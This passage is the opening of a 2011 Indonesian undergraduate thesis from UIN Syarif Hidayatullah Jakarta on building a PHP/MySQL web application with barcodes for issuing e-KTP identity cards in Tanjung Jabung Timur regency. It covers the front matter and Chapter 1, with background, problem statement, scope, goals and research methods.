SKRIPSI
APLIKASI PEMBUATAN E-KTP
(KARTU TANDA PENDUDUK) MENGGUNAKAN BARCODE
BERBASIS WEB
Studi Kasus : (Kabupaten Tanjung Jabung Timur Provinsi Jambi)
SHADIQ TAQWA
105091002925
PROGRAM STUDI TEKNIK INFORMATIKA
FAKULTAS SAINS DAN TEKNOLOGI
UNIVERSITAS ISLAM NEGERI SYARIF HIDAYATULLAH
JAKARTA
2011
ii
APLIKASI PEMBUATAN E-KTP (KARTU TANDA
PENDUDUK) MENGGUNAKAN BARCODE BERBASIS WEB
(STUDI KASUS: KABUPATEN TANJUNG JABUNG TIMUR
PROVINSI JAMBI)
SKRIPSI
Sebagai Salah Satu Syarat untuk Memperoleh Gelar
Sarjana Komputer
Pada Fakultas Sains dan Teknologi
Universitas Islam Negeri Syarif Hidayatullah Jakarta
Oleh :
Shadiq Taqwa
105091002925
PROGRAM STUDI TEKNIK INFORMATIKA
FAKULTAS SAINS DAN TEKNOLOGI
UNIVERSITAS ISLAM NEGERI SYARIF HIDAYATULLAH
JAKARTA
2011
iii
APLIKASI PEMBUATAN E-KTP (KARTU TANDA
PENDUDUK) MENGGUNAKAN BARCODE BERBASIS WEB
(STUDI KASUS: KABUPATEN TANJUNG JABUNG TIMUR
PROVINSI JAMBI)
Skripsi
Sebagai Salah Satu Syarat Untuk Memperoleh Gelar Sarjana Komputer
Pada Fakultas Sains dan Teknologi
Universitas Islam Negeri Syarif Hidayatullah Jakarta
Oleh:
SHADIQ TAQWA
105091002925
Menyetujui,
Pembimbing I
Viva Arifin, M.MSI NIP. 19730810 200604 2 001
Pembimbing II
Yusuf Durachman, M. Sc, MIT NIP. 19710522 200604 1 002
Mengetahui,
Ketua Program Studi Teknik Informatika
Yusuf Durachman, M. Sc, MIT NIP. 19710522 200604 1 002
iv
APLIKASI PEMBUATAN E-KTP (KARTU TANDA
PENDUDUK) MENGGUNAKAN BARCODE BERBASIS WEB
(STUDI KASUS: KABUPATEN TANJUNG JABUNG TIMUR
PROVINSI JAMBI)
Skripsi Diajukan kepada Fakultas Sains dan Teknologi Universitas Islam Negeri Syarif Hidayatullah Jakarta
untuk Memenuhi Persyaratan Memperoleh Gelar Sarjana Komputer
Menyetujui,
Mengetahui,
Penguji I
Husni Teja Sukmana, Ph.D NIP. 19771030 200112 1 003
Penguji II
Herlino Nanang, MT NIP. 19731209 200501 1 002
Pembimbing I
Viva Arifin, M.MSI NIP. 19730810 200604 2 001
Pembimbing II
Yusuf Durachman, M.Sc, MIT NIP. 19710522 200604 1 002
Dekan Fakultas Sains dan Teknologi
DR. Syopiansyah Jaya Putra, M.Sis NIP. 19680117 200112 1 001
Ketua Program Studi Teknik Informatika
Yusuf Durachman, M.Sc, MIT NIP. 19710522 200604 1 002
v
ABSTRAK
SHADIQ TAQWA (105091002925). Perancangan Aplikasi Pembuatan E-KTP (Kartu Tanda Penduduk) berbasis web. (Studi Kasus: Kabupaten Tanjung Jabung Timur, Provinsi Jambi). Di bawah bimbingan VIVA ARIFIN dan YUSUF DURACHMAN. Sebagai Kabupaten baru yang di bentuk dari pemekaran Kabupaten Tanjung Jabung pada tanggal 09 Oktober 1999. Sistem pemerintahan yang digunakan di Kabupaten Tanjung Jabung Timur masih menggunakan sistem yang manual khususnya dalam pembuatan E-KTP (Kartu Tanda Penduduk) Sehingga dalam pelaksanaan birokrasi pemerintahan masih banyak di temukan keluhan dari pegawai pemerintahan maupun masyarakat. Oleh karena itu pemerintah daerah khususnya di kantor dinas Dukcapil (Kependudukan dan Catatan Sipil) untuk tahun ini berusaha mencapai pemerintahan yang good governance dengan membangun aplikasi pendataan kependudukan dan pembuatan E-KTP (Kartu Tanda Penduduk) yang berbasis web yang berguna untuk mempercepat proses pembuatan KTP dan meminimalisir resiko kehilangan data kependudukan. Adapun metodologi yang penulis gunakan dalam membuat aplikasi ini adalah menggunakan RAD, yang mempunyai lima tahapan, yaitu Communication, Planning, Modelling, Construction, dan Deployment. Penulis menggunakan bahasa pemrogaman PHP dan database MySQL dalam membuat aplikasi ini. Dengan adanya Aplikasi Pembuatan E-KTP (Kartu Tanda Penduduk) ini, penulis dapat membantu menyelesaikan permasalahan yang ada di Dinas Kependudukan dan Catatan Sipil Kabupaten Tanjung Jabung Timur dalam menerapkan hal pembuatan E-KTP (Kartu Tanda Penduduk) dan Pendataan Kependudukan.
Kata Kunci: Pembuatan E-KTP, web, RAD.
vi
HALAMAN PERNYATAAN
DENGAN INI SAYA MENYATAKAN BAHWA SKRIPSI INI BENAR-
BENAR ASLI KARYA SENDIRI YANG BELUM PERNAH DIAJUKAN
SEBAGAI SKRIPSI ATAU KARYA ILMIAH PADA PERGURUAN TINGGI
ATAU LEMBAGA MANAPUN.
Jakarta, Maret 2011
Shadiq Taqwa 105091002925
vii
KATA PENGANTAR
Segala puji dan syukur penulis panjatkan kepada Allah SWT atas segala
karunia serta petunjuk-Nya sehingga penulis dapat menyelesaikan penulisan
skripsi yang berjudul Aplikasi Pembuatan E-KTP (Kartu Tanda Penduduk)
Menggunakan Barcode Berbasis Web (Studi Kasus: Kabupaten Tanjung
Jabung Timur, Propinsi Jambi) ini dengan baik. Shalawat serta salam penulis
sanjungkan kepada Baginda Nabi Muhammad SAW, keluarga serta sahabat
beliau.
Setelah terselesaikannya penulisan skripsi ini, penulis ingin mengucapkan
terima kasih kepada pihak-pihak yang telah membantu penulis, baik berupa
bimbingan, moril maupun materiil, yang penulis tujukan kepada:
1. DR. Syopiansyah Jaya Putra, M.Sis, selaku Dekan Fakultas Sains dan
Teknologi, UIN Syarif Hidayatullah Jakarta.
2. Yusuf Durachman, M.Sc, MIT, selaku Ketua Program Studi Teknik
Informatika, Fakultas Sains dan Teknologi, UIN Syarif Hidayatullah
Jakarta.
3. Viva Arifin, M.MSI, selaku dosen pembimbing I yang telah memberikan
bimbingan, saran dan bersedia meluangkan waktunya walaupun sangat
sibuk.
4. Yusuf Durachman, M.Sc, MIT, selaku dosen pembimbing II yang telah
memberikan pengarahan dalam menyelesaikan penulisan skripsi ini.
viii
Jakarta, Maret 2011
Penulis
Penulis sadar bahwa penyusunan skripsi ini masih jauh dari sempurna,
seperti kata pepatah ”tiada gading yang tak retak”. Oleh karena itu penyusun
mengharapkan kritik dan saran yang bersifat membangun agar penyusunan skripsi
ini menjadi lebih baik lagi ke depannya.
Akhir kata, semoga skripsi ini bermanfaat khususnya kepada penulis
sendiri dan bagi yang membacanya.
ix
LEMBAR PERSEMBAHAN
Ya Allah Ya Rabbi
Ayahanda yang mulia
Ibunda yang tercinta titisan doa
Air mata dan peluh perjuanganmu
Telah membawaku memasuki gerbang masa depan
Dari rasa khawatir hingga rasa yakin
Aku mencoba bertahan atas nama ceritaku
Aku selalu yakin.............. dengan dukunganmu
Selalu, dan selalu ingin kuceritakan semua, tapi aku selalu kehabisan kata-kata
Mungkin untuk saat ini, hanya inilah yang mampu kubuktikan kepadamu
Bahwa aku tak pernah lupa pengorbananmu
Tak pernah lupa nasihat dan dukunganmu
Tak pernah lupa segalanya....... dan selamanya
Skripsi ini kupersembahkan seikhlasnya kepada : Abbaku (H. Alwi Hasa) dan
Mamaku (Hasnawati Alwi) yang tercinta serta saudara kandungku yang kusayangi
(Daeng Ghuf, Daeng Ghafar serta adikku yang manis (Bia Won dan Kia Q’Ting)
”Smile you are My Inspiration and Strength”
x
Dan penulis mengucapkan terima kasih kepada :
1. Amure-amureku (Puang Malik, Puang Deri, Nte Ani dan Nte Ica) yang
telah memberikan penulis bantuan yang tak terhingga berupa materil dan
moril.
2. Pucengku (Fatma dan Fitri) yang senantiasa memberikan dorongan
semangat kepada penulis dalam penyelesaian skripsi ini, tawa dan canda
mereka selalu memotivasi penulis sampai kapanpun.
3. Teman-teman TI/SI: Khairul, Arif dan Bustomi khususnya teman-teman
seperjuangan dikelas TI-D 2005: Mirza, Hari, Ipul, Bayu, Mukhlis, Fahmi,
Wahib, Zanba, Ery, Deni, Zaki, Wildan, Adit, Khairin, Dianita, Lia, Ale,
Rindi, Terus semangat dan selalu sambung silaturahmi.
4. Teman-teman seperjuangan di organisasi: di IKAMI SUL-SEL Cab.
Ciputat (Burhan, Herman, Amar, Masdar, Manca, Husaini, Akmal, Ipul,
Akhyar, Izul, Ilham, Misra, Maria, Darma, Ani, Siti, 3 Nur’aini, Icem,
Ipah, K’ Qame, K’ Maya, K’ Fitri) yang selalu membuat penulis
tersenyum dengan keberadaan mereka, jaga terus kebersamaan.
5. Teman-teman yang ada di lingkungan kosan pak khoir (Anas, Juned,
Dayat, Munjir. Sutan, Madan dan Mail) saudara yang paling dekat adalah
tetanggaku.
xi
DAFTAR ISI
Halaman Judul ........................................................................................... i
Halaman Sampul ......................................................................................... ii
Lembar Pengesahan Pembimbing ............................................................. iii
Lembar Pengesahan Ujian ........................................................................ ̀ iv
Abstrak ......................................................................................................... v
Halaman Pernyataan .................................................................................. vi
Kata Pengantar ........................................................................................... vii
Lembar Persembahan ................................................................................ ix
Daftar Isi ...................................................................................................... xi
Daftar Tabel ................................................................................................. xiv
Daftar Gambar ............................................................................................ xv
BAB 1 PENDAHULUAN
1.1 Latar Belakang .................................................................................. 1
1.2 Rumusan Masalah ............................................................................. 3
1.3 Batasan Masalah ............................................................................... 3
1.4 Tujuan Penelitian .............................................................................. 4
1.5 Manfaat Penelitian ............................................................................ 4
1.5.1 Bagi Penulis .............................................................................. 4
1.5.2 Bagi Universitas ........................................................................ 4
1.5.3 Bagi Pengguna .......................................................................... 5
1.6 Metodologi Penelitian ....................................................................... 5
1.6.1 Metode Pegumpulan Data ........................................................ 6
1.6.2 Metode Pengembangan Sistem ................................................ 7
1.7 Sistematika Penulisan ....................................................................... 7
BAB 2 LANDASAN TEORI
2.1 Program Aplikasi .............................................................................. 9
2.2 Aplikasi Sistem ................................................................................. 9
2.3 Konsep Aplikasi Berbasis Web ......................................................... 9
xii
2.3.1 Web Browser ............................................................................ 10
2.3.2 Web Server ............................................................................... 11
2.3.3 Web Service ............................................................................. 11
2.3.4 Informasi .................................................................................. 12
2.4 Kartu Tanda Penduduk (KTP) .......................................................... 15
2.4.1 Pengertian Kartu Tanda Penduduk (KTP) ............................... 15
2.4.2 Pengertian E-KTP (Kartu Tanda Penduduk Elektronik) ......... 15
2.4.3 Dasar Hukum Pembuatan Kartu Tanda Penduduk (KTP) ....... 16
2.5 Nomor Induk Kependudukan (NIK) ................................................ 16
2.6 Barcode ............................................................................................ 17
2.6.1 Pengertian Barcode ................................................................. 17
2.6.2 Jenis-jenis Barcode ................................................................. 18
2.6.3 Cara Kerja Barcode ................................................................. 19
2.7 Alat Bantu Aplikasi ........................................................................... 20
2.7.1 PHP .......................................................................................... 20
2.7.2 HTML ...................................................................................... 26
2.7.3 MySQL ..................................................................................... 28
2.7.4 Apache ...................................................................................... 30
2.7.5 Dreamweaver ........................................................................... 31
2.8 Database ........................................................................................... 32
2.9 Analisis dan Desain yang Digunakan ............................................... 33
2.9.1 Data Flow Diagram (DFD) ..................................................... 33
2.9.2 Entity Relationship Diagram (ERD) ....................................... 36
2.9.3 Normalisasi ............................................................................. 38
2.9.4 Kamus Data .............................................................................. 40
2.10 Studi Literatur Sejenis ................................................................... 41
BAB 3 METODOLOGI PENELITIAN
3.1 Waktu dan Tempat Penelitian .......................................................... 44
3.2 Tehnik Pengumpulan Data ................................................................ 44
3.2.1 Observasi .................................................................................. 44
xiii
3.2.2 Wawancara ............................................................................... 45
3.2.3 Studi Pustaka ............................................................................ 45
3.2.4 Perbandingan Studi Sejenis ...................................................... 46
3.3 Metode Pengembangan Sistem ......................................................... 47
BAB 4 HASIL DAN PEMBAHASAN
4.1 Pengumpulan Data ............................................................................ 51
4.1.1 Profil Instansi .......................................................................... 51
4.1.2 Tugas Instansi ......................................................................... 52
4.1.3 Struktur Organisasi ................................................................. 53
4.2 Communication ................................................................................. 54
4.2.1 Uraian Sistem Saat Ini .............................................................. 54
4.2.2 Analisis Kebutuhan .................................................................. 56
4.2.3 Kebutuhan Perangkat Keras ..................................................... 59
4.3 Planning ............................................................................................ 60
4.4 Modelling .......................................................................................... 60
4.4.1 Context Diagram ...................................................................... 60
4.4.2 Data Flow Diagram (DFD) ...................................................... 62
4.4.3 Entity Relational Diagram (ERD) ............................................ 64
4.4.4 Normalisasi ............................................................................... 65
4.4.5 Kamus Data .............................................................................. 70
4.4.6 Perancangan Antar Muka ......................................................... 73
4.5 Construction ...................................................................................... 80
4.6 Deployment ....................................................................................... 88
BAB 5 PENUTUP
5.1 Kesimpulan ....................................................................................... 89
5.2 Saran .................................................................................................. 90
Daftar Pustaka ............................................................................................. 91
Lampiran ..................................................................................................... 92
xiv
DAFTAR TABEL
Tabel 2.1 Notasi Entity Relational Diagram (ERD) ..................................... 36
Tabel 3.1 Perbandingan Studi Sejenis .......................................................... 46
Tabel 4.1 Planning Pembuatan Aplikasi ....................................................... 60
Tabel 4.2 Tabel Admin Sebelum Normalisasi .............................................. 65
Tabel 4.3 Tabel Keseluruhan Sebelum Normalisasi ..................................... 65
Tabel 4.4 Tabel Normalisasi Tahap II (Tabel Data Penduduk) .................... 67
Tabel 4.5 Tabel Normalisasi Tahap II (Tabel KTP) ..................................... 69
Tabel 4.6 Tabel Normalisasi Tahap II (Tabel Kecamatan) ........................... 69
Tabel 4.7 Tabel Normalisasi Tahap II (Tabel Kelurahan) ............................ 70
Tabel 4.8 Tabel Admin ................................................................................. 71
Tabel 4.9 Tabel Penduduk ............................................................................ 71
Tabel 4.10 Tabel KTP ................................................................................... 72
Tabel 4.11 Tabel Kecamatan ......................................................................... 72
Tabel 4.12 Tabel Kelurahan .......................................................................... 73
xv
DAFTAR GAMBAR
Gambar 2.1 Eksternal Entity ......................................................................... 34
Gambar 2.2 Data Flow .................................................................................. 34
Gambar 2.3 Proses ........................................................................................ 35
Gambar 2.4 Data Store .................................................................................. 35
Gambar 3.1 The RAD Model ........................................................................ 47
Gambar 4.1 Struktur Organisasi .................................................................... 53
Gambar 4.2 Work Flow Sistem yang Berjalan ............................................ 56
Gambar 4.3 Flowchart Aplikasi ................................................................... 58
Gambar 4.4 Context Diagram ...................................................................... 61
Gambar 4.5 DFD Level 1 .............................................................................. 63
Gambar 4.6 Entity Relational Diagram (ERD) ............................................. 64
Gambar 4.7 Gambar Antar Muka Halaman Awal ........................................ 73
Gambar 4.8 Gambar Antar Muka Halaman Login ........................................ 74
Gambar 4.9 Gambar Antar Muka Menu Data Penduduk .............................. 75
Gambar 4.10 Gambar Antar Muka Input Data Penduduk ............................. 76
Gambar 4.11 Gambar Antar Muka Input Data Pembuatan KTP .................. 77
Gambar 4.12 Gambar Antar Muka Lihat Data Penduduk ............................ 78
Gambar 4.13 Gambar Antar Muka Cetak KTP ............................................ 79
Gambar 4.14 Gambar Antar Muka Halaman Logout ................................... 79
Gambar 4.15 Gambar Halaman Awal Web ................................................. 80
Gambar 4.16 Gambar Halaman Login Pembuatan KTP ............................... 81
Gambar 4.17 Gambar Halaman Menu Aplikasi Pembuatan KTP ................ 82
Gambar 4.18 Gambar Halaman Input Data Penduduk ................................. 83
Gambar 4.19 Gambar Halaman Lihat Data Penduduk .................................. 84
Gambar 4.20 Gambar Halaman Input Data Pembuatan KTP ...................... 85
Gambar 4.21 Gambar Halaman Edit Data Penduduk .................................. 86
Gambar 4.22 Gambar Halaman Cetak KTP ................................................. 87
Gambar 4.23 Gambar Halaman Logout ........................................................ 87
iv
APLIKASI PEMBUATAN E-KTP (KARTU TANDA
PENDUDUK) MENGGUNAKAN BARCODE BERBASIS WEB
(STUDI KASUS: KABUPATEN TANJUNG JABUNG TIMUR
PROPINSI JAMBI)
Skripsi Diajukan kepada Fakultas Sains dan Teknologi UIN Jakarta untuk Memenuhi Persyaratan Memperoleh Gelar Sarjana Komputer
Menyetujui,
Mengetahui,
Penguji 1
Husni Teja Sukmana, Ph.D NIP. 19771030 200112 1 003
Penguji 2
Herlino Nanang, MT NIP. 19731209 200501 1 002
Pembimbing 1
Viva Arifin, M.MSI NIP. 19730810 200604 2 001
Pembimbing 2
Yusuf Durachman, M.Sc, MIT NIP. 19710522 200604 1 002
Dekan Fakultas Sains dan Teknologi
DR. Syopiansyah Jaya Putra, M.Sis NIP. 19680117 200112 1 001
Ketua Prodi Teknik Informatika
Yusuf Durachman, M.Sc, MIT NIP. 19710522 200604 1 002
DAFTAR ISI
Halaman Judul ........... ................................................................................. i
Halaman Sampul ......................................................................................... ii
Lembar Pengesahan .................................................................................... iii
Abstrak ......................................................................................................... iv
Halaman Pernyataan .................................................................................. v
Kata Pengantar ........................................................................................... vi
Daftar Isi ...................................................................................................... ix
Daftar Tabel ................................................................................................. xii
Daftar Gambar ............................................................................................ xiii
BAB 1 PENDAHULUAN
1.1 Latar Belakang .................................................................................. 1
1.2 Rumusan Masalah ............................................................................. 3
1.3 Batasan Masalah ............................................................................... 3
1.4 Tujuan dan Manfaat Penelitian ......................................................... 4
1.5 Manfaat Penelitian ............................................................................ 4
1.5.1 Bagi Penulis .............................................................................. 4
1.5.2 Bagi Universitas ........................................................................ 4
1.5.3 Bagi Pengguna .......................................................................... 5
1.6 Metodologi Penelitian ....................................................................... 5
1.6.1 Metode Pegumpulan Data ........................................................ 6
1.6.2 Metode Pengembangan Sistem ................................................ 7
1.7 Sistematika Penulisan ....................................................................... 7
BAB 2 LANDASAN TEORI
2.1 Program Aplikasi .............................................................................. 9
2.2 Aplikasi Sistem ................................................................................. 9
2.3 Konsep Aplikasi Berbasis Web ......................................................... 9
2.3.1 Web Browser ............................................................................ 10
2.3.2 Web Server ............................................................................... 11
2.3.3 Web Service ............................................................................. 11
2.3.4 Informasi .................................................................................. 12
2.4 Kartu Tanda Penduduk (KTP) .......................................................... 15
2.4.1 Pengertian Kartu Tanda Penduduk (KTP) ............................... 15
2.4.2 Dasar Hukum Pembuatan Kartu Tanda Penduduk (KTP) ....... 15
2.5 Alat Bantu Aplikasi ........................................................................... 16
2.5.1 PHP .......................................................................................... 16
2.5.2 HTML ...................................................................................... 21
2.5.3 MySQL ..................................................................................... 24
2.5.4 Apache ...................................................................................... 25
2.5.5 Dreamweaver ........................................................................... 26
2.6 Database ............................................................................................ 28
2.7 Analisis dan Desain yang Digunakan ............................................... 28
2.7.1 Data Flow Diagram (DFD) ..................................................... 28
2.7.2 Entity Relationship Diagram (ERD) ....................................... 31
2.7.3 Normalisasi ............................................................................. 33
2.7.4 Kamus Data .............................................................................. 35
BAB 3 METODOLOGI PENELITIAN
3.1 Waktu dan Tempat Penelitian .......................................................... 37
3.2 Tehnik Pengumpulan Data ................................................................ 37
3.2.1 Observasi .................................................................................. 37
3.2.2 Wawancara ............................................................................... 38
3.2.3 Studi Pustaka ............................................................................ 38
3.2.4 Studi Literatur Sejenis .............................................................. 39
3.3 Metode Pengembangan Sistem ......................................................... 41
BAB 4 HASIL DAN PEMBAHASAN
4.1 Pengumpulan Data ............................................................................ 46
4.1.1 Profil Instansi .......................................................................... 46
4.1.2 Tugas Instansi ......................................................................... 47
4.1.3 Struktur Organisasi ................................................................. 48
4.2 Communication ................................................................................. 49
4.2.1 Uraian Sistem Saat Ini .............................................................. 49
4.2.2 Analisis Kebutuhan .................................................................. 51
4.2.3 Kebutuhan Perangkat Keras ..................................................... 54
4.3 Planning ............................................................................................ 55
4.4 Modelling .......................................................................................... 55
4.4.1 Context Diagram ...................................................................... 55
4.4.2 Data Flow Diagram (DFD) ...................................................... 57
4.4.3 Entity Relational Diagram (ERD) ............................................ 59
4.4.4 Normalisasi ............................................................................... 60
4.4.5 Kamus Data .............................................................................. 66
4.4.6 Perancangan Antar Muka ......................................................... 70
4.5 Construction ...................................................................................... 77
4.6 Deployment ....................................................................................... 84
BAB 5 PENUTUP
5.1 Kesimpulan ....................................................................................... 85
5.2 Saran .................................................................................................. 86
Daftar Pustaka ............................................................................................. 87
Lampiran ..................................................................................................... 89
DAFTAR TABEL
Tabel 2.1 Notasi Entity Relational Diagram (ERD) ..................................... 32
Tabel 4.1 Planning Pembuatan Aplikasi ....................................................... 55
Tabel 4.2 Tabel Admin Sebelum Normalisasi .............................................. 60
Tabel 4.3 Tabel Keseluruhan Sebelum Normalisasi ..................................... 60
Tabel 4.4 Tabel Normalisasi Tahap II (Tabel Data Penduduk) .................... 63
Tabel 4.5 Tabel Normalisasi Tahap II (Tabel KTP) ..................................... 64
Tabel 4.6 Tabel Normalisasi Tahap II (Tabel KK) ....................................... 65
Tabel 4.7 Tabel Normalisasi Tahap II (Tabel Kecamatan) ........................... 65
Tabel 4.8 Tabel Normalisasi Tahap II (Tabel Kelurahan) ............................ 66
Tabel 4.9 Tabel Admin ................................................................................. 67
Tabel 4.10 Tabel Penduduk .......................................................................... 67
Tabel 4.11 Tabel KTP ................................................................................... 68
Tabel 4.12 Tabel KK ..................................................................................... 68
Tabel 4.13 Tabel Kecamatan ......................................................................... 69
Tabel 4.14 Tabel Kelurahan .......................................................................... 69
DAFTAR GAMBAR
Gambar 2.1 Eksternal Entity ......................................................................... 30
Gambar 2.2 Data Flow .................................................................................. 30
Gambar 2.3 Proses ........................................................................................ 30
Gambar 2.4 Data Store .................................................................................. 31
Gambar 3.1 The RAD Model ........................................................................ 42
Gambar 4.1 Struktur Organisasi .................................................................... 48
Gambar 4.2 Work Flow Sistem yang Berjalan ............................................ 51
Gambar 4.3 Flowchart Aplikasi ................................................................... 53
Gambar 4.4 Context Diagram ...................................................................... 56
Gambar 4.3 DFD Level 1 .............................................................................. 58
Gambar 4.4 Entity Relational Diagram (ERD) ............................................. 59
Gambar 4.5 Gambar Antar Muka Halaman Awal ........................................ 70
Gambar 4.6 Gambar Antar Muka Halaman Login ........................................ 71
Gambar 4.7 Gambar Antar Muka Menu Data Penduduk .............................. 72
Gambar 4.8 Gambar Antar Muka Input Data Penduduk ............................... 73
Gambar 4.9 Gambar Antar Muka Input Data Pembuatan KTP .................... 74
Gambar 4.10 Gambar Antar Muka Lihat Data Penduduk ............................. 75
Gambar 4.11 Gambar Antar Muka Cetak KTP ............................................ 76
Gambar 4.12 Gambar Antar Muka Halaman Logout ................................... 76
Gambar 4.13 Gambar Halaman Awal Web ................................................. 77
Gambar 4.14 Gambar Halaman Login Pembuatan KTP ............................... 78
Gambar 4.15 Gambar Halaman Menu Aplikasi Pembuatan KTP ................ 79
Gambar 4.16 Gambar Halaman Input Data Penduduk ................................. 80
Gambar 4.17 Gambar Halaman Lihat Data Penduduk .................................. 81
Gambar 4.18 Gambar Halaman Input Data Pembuatan KTP ...................... 82
Gambar 4.19 Gambar Halaman Cetak KTP ................................................. 83
Gambar 4.17 Gambar Halaman Logout ........................................................ 83
1
BAB I
PENDAHULUAN
1.1. Latar Belakang
Penggunaan teknologi informasi dan komunikasi (Information and
Communication Technology/ICT) di dunia telah semakin luas. Hal ini dapat
dilihat dari penggunaan ICT yang tidak terbatas pada bidang perdagangan
saja, melainkan juga dalam bidang-bidang lain seperti pendidikan, bidang
pertahanan dan keamanan negara, sosial dan sebagainya. ICT ini
dipergunakan karena memiliki berbagai kelebihan yang menguntungkan
dibandingkan dengan menggunakan cara tradisional dalam melakukan
interaksi
Kelebihan dari ICT dapat dilihat dalam hal kecepatan, kemudahan dan
biaya yang lebih murah. Oleh sebab itu ICT banyak diterapkan dalam
berbagai bidang kehidupan manusia, dan dengan keuntungan-keuntungan
yang ditawarkan oleh teknologi ini maka mulai diterapkan dalam praktek
pemerintahan
Pemerintah adalah pengurus harian dari suatu negara dan merupakan
keseluruhan dari jabatan-jabatan dalam suatu negara yang mempunyai tugas
dan wewenang politik negara dan pemerintahan. Pemerintahan dalam suatu
negara mempunyai wewenang terhadap semua urusan yang berada dalam
lingkup hukum publik yang bertujuan untuk menjaga ketertiban dan
keamanan, menciptakan kesejahteraan bagi rakyatnya dan memberikan
1
2
pelayanan yang baik kepada masyarakat. Dalam menjalankan tugas
wewenang tersebut, pemerintah memerlukan semua informasi yang ada dan
kemudian akan digunakan untuk menjalankan fungsi-fungsinya seperti
perencanaan, pembuatan kebijakan, administrasi negara, dan sebagainya.
Informasi yang terkait dengan pelaksanaan fungsi dan wewenang
pemerintah diproses oleh suatu aplikasi yang berbasis web
Sebagai Kabupaten yang baru yang di bentuk dari pemekaran
Kabupaten Tanjung Jabung pada tanggal 09 Oktober 1999. Sistem
pemerintahan yang digunakan di Kabupaten Tanjung Jabung Timur masih
menggunakan sistem yang manual. Sehingga dalam pelaksanaan birokrasi
pemerintahan masih banyak di temukan keluhan dari pegawai pemerintahan
maupun masyarakat. Khususnya dalam pendataan kependudukan dan
pembuatan KTP (Kartu Tanda Penduduk). Oleh karena itu pemerintah
daerah khususnya di kantor dinas Dukcapil untuk tahun ini berusaha untuk
memberikan pelayanan yang baik kepada masyarakat dengan membangun
aplikasi pendataan kependudukan dan pembuatan KTP (Kartu Tanda
Penduduk) yang berbasis web.
Berdasarkan permasalahan yang dimiliki oleh Pemerintah Daerah
Kabupaten Tanjung Jabung Timur penulis tertarik mengambil tema yang
berkaitan pembuatan KTP (Kartu Tanda Penduduk) di Pemerintahan Daerah
Kabupaten Tanjung Jabung Timur dengan judul ”Aplikasi Pembuatan E-
KTP (Kartu Tanda Penduduk) Menggunakan Barcode Berbasis Web.
Studi Kasus: Kabupaten Tanjung Jabung Timur Provinsi Jambi”.
3
1.2. Rumusan Masalah
Didasari oleh latar belakang masalah, maka penulis mengambil tema
tentang aplikasi berbasis web. Adapun masalah yang akan dibahas sebagai
berikut :
a) Bagaimana membuat aplikasi Kartu Tanda Penduduk berbasis web
sehingga memenuhi standar kebutuhan kantor Dinas Kependudukan
dan Catatan Sipil.
b) Bagaimana menyediakan informasi layanan administrasi
pemerintahan yang mudah dan cepat dengan memanfaatkan teknologi
internet secara online yang bertujuan membantu pemerintah
Kabupaten Tanjung Jabung Timur dalam menyebarkan informasi
terhadap instansi antar Pemerintah Kabupaten Tanjung Jabung Timur.
1.3. Batasan Masalah
Adapun batasan masalahnya sebagai berikut :
1. Pengisian data dalam pembuatan KTP (Kartu Tanda Penduduk)
dilakukan oleh admin kantor kelurahan/desa dan admin kantor
kecamatan
2. Aplikasi ini hanya membuat KTP (Kartu Tanda Penduduk) baru, tidak
untuk perpanjangan KTP.
3. Aplikasi ini menggunakan PHP versi 5.0 sebagai bahasa
pemrogramnnya, untuk pengolahan database di pemerintahan dalam
pemakaian hak akses yang dibatasi oleh database MySQL versi 5.0.45
4. Proses cetak laporan data penduduk dalam format ms. excel
4
1.4. Tujuan Penelitian
Adapun tujuan penelitian ini adalah untuk mengembangkan aplikasi
pembuatan KTP (Kartu Tanda Penduduk) yang dapat mengefisiensikan
waktu dan biaya serta mempercepat proses kinerja dalam pembuatan KTP
(Kartu Tanda Penduduk).
1.5. Manfaat Penelitian
Sesuai dengan permasalahan dan tujuan penelitian yang sudah di
sebutkan. Banyak manfaat yang dapat penulis petik dalam penyusunan
skripsi ini, diantaranya adalah sebagai berikut:
1.5.1. Bagi Penulis
a. Menambah wawasan penulis tentang bagaimana cara proses
pembuatan KTP di Kabupaten Tanjung Jabung Timur
b. Mendapatkan pemahaman mengenai metodologi penelitian,
khususnya System Development Life Cycle (SDLC), dengan
menggunakan proses model RAD (Rapid Application
Development).
1.5.2. Bagi Universitas
a. Mengetahui kemampuan mahasiswa dalam menguasai materi
teori yang telah diperoleh selama kuliah.
5
b. Memberikan gambaran tentang kesiapan mahasiswa dalam
menghadapi dunia kerja dan hasil yang diperoleh selama
belajar/kuliah.
1.5.3. Bagi Pengguna
a. Mempermudah pegawai pemerintah dalam melakukan proses
pembuatan KTP (Kartu Tanda Penduduk).
b. Menghubungkan antar Pemerintah Kabupaten Tanjung Jabung
Timur dengan Kecamatan dan Keluran dalam proses pendataan
kependudukan
c. Dari sisi operasional, aplikasi ini mengoptimalkan kinerja
pegawai dan membantu mempercepat tugas-tugas administratif
kependudukan dan mempercepat
proses pemerintahan Kabupaten Tanjung Jabung Timur.
1.6. Metodologi Penelitian
Penyusunan skripsi ini diperlukan data-data informasi yang lengkap
sebagai bahan yang dapat mendukung kebenaran materi uraian dan
pembahasan. Oleh karena itu, dalam persiapannya terlebih dahulu
melakukan penelitian untuk mendapatkan data-data informasi atau bahan
materi yang diperlukan, yang meliputi:
6
1.6.1. Metode Pengumpulan Data
Pegumpulan data yang dilakukan penulis bertujuan untuk
memperoleh hasil yang maksimal dan sesuai dengan permasalahan
yang ada serta kebutuhan yang diinginkan. Adapun metode
pengumpulan data yang digunakan dalam penulisan skripsi ini antara
lain:
a. Studi Pustaka
Metode ini dilakukan dengan cara mempelajari dan
mengumpulkan bahan-bahan yang berhubungan dengan internet
dan sumber-sumber yang berkaitan dengan aplikasi Pembuatan
KTP, baik berupa artikel maupun buku-buku yang berhubungan
dengan aplikasi e-KTP dan internet yang dijadikan sebagai
acuan dalam skripsi ini.
b. Riset Lapangan (Survey)
Metode Survey ini digunakan untuk mencari, mengumpulkan
data dan mengetahui bagaimana data tersebut disimpan.
Pengumpulan data-data tersebut dengan meneliti dokumen-
dokumen layanan kependudukan. Dalam hal ini penulis terlibat
langsung di dalam kegiatan lapangan yang berhubungan dengan
studi kasus yang dihadapi. Adapun lokasi riset yang dilakukan
bertempat di Kantor Dinas Kapendudukan dan Catatan Sipil
Kabupaten Tanjung Jabung Timur, jalan P.Diponegoro
7
Komplek Perkantoran Bukit Menderang Kelurahan Rano Kec.
Muara Sabak Barat
c. Studi Sejenis
Penulis membaca dan memahami literatur ilmiah yang sejenis
dengan penulis guna menambah literatur penulis dalam
penelitian yang akan penulis lakukan.
1.6.2. Metode Pengembangan Sistem
Metode pengembangan sistem yang penulis gunakan dalam
penulisan skripsi ini adalah dengan model proses RAD (Rapid
Application Development) yang ditemukan oleh James Martin pada
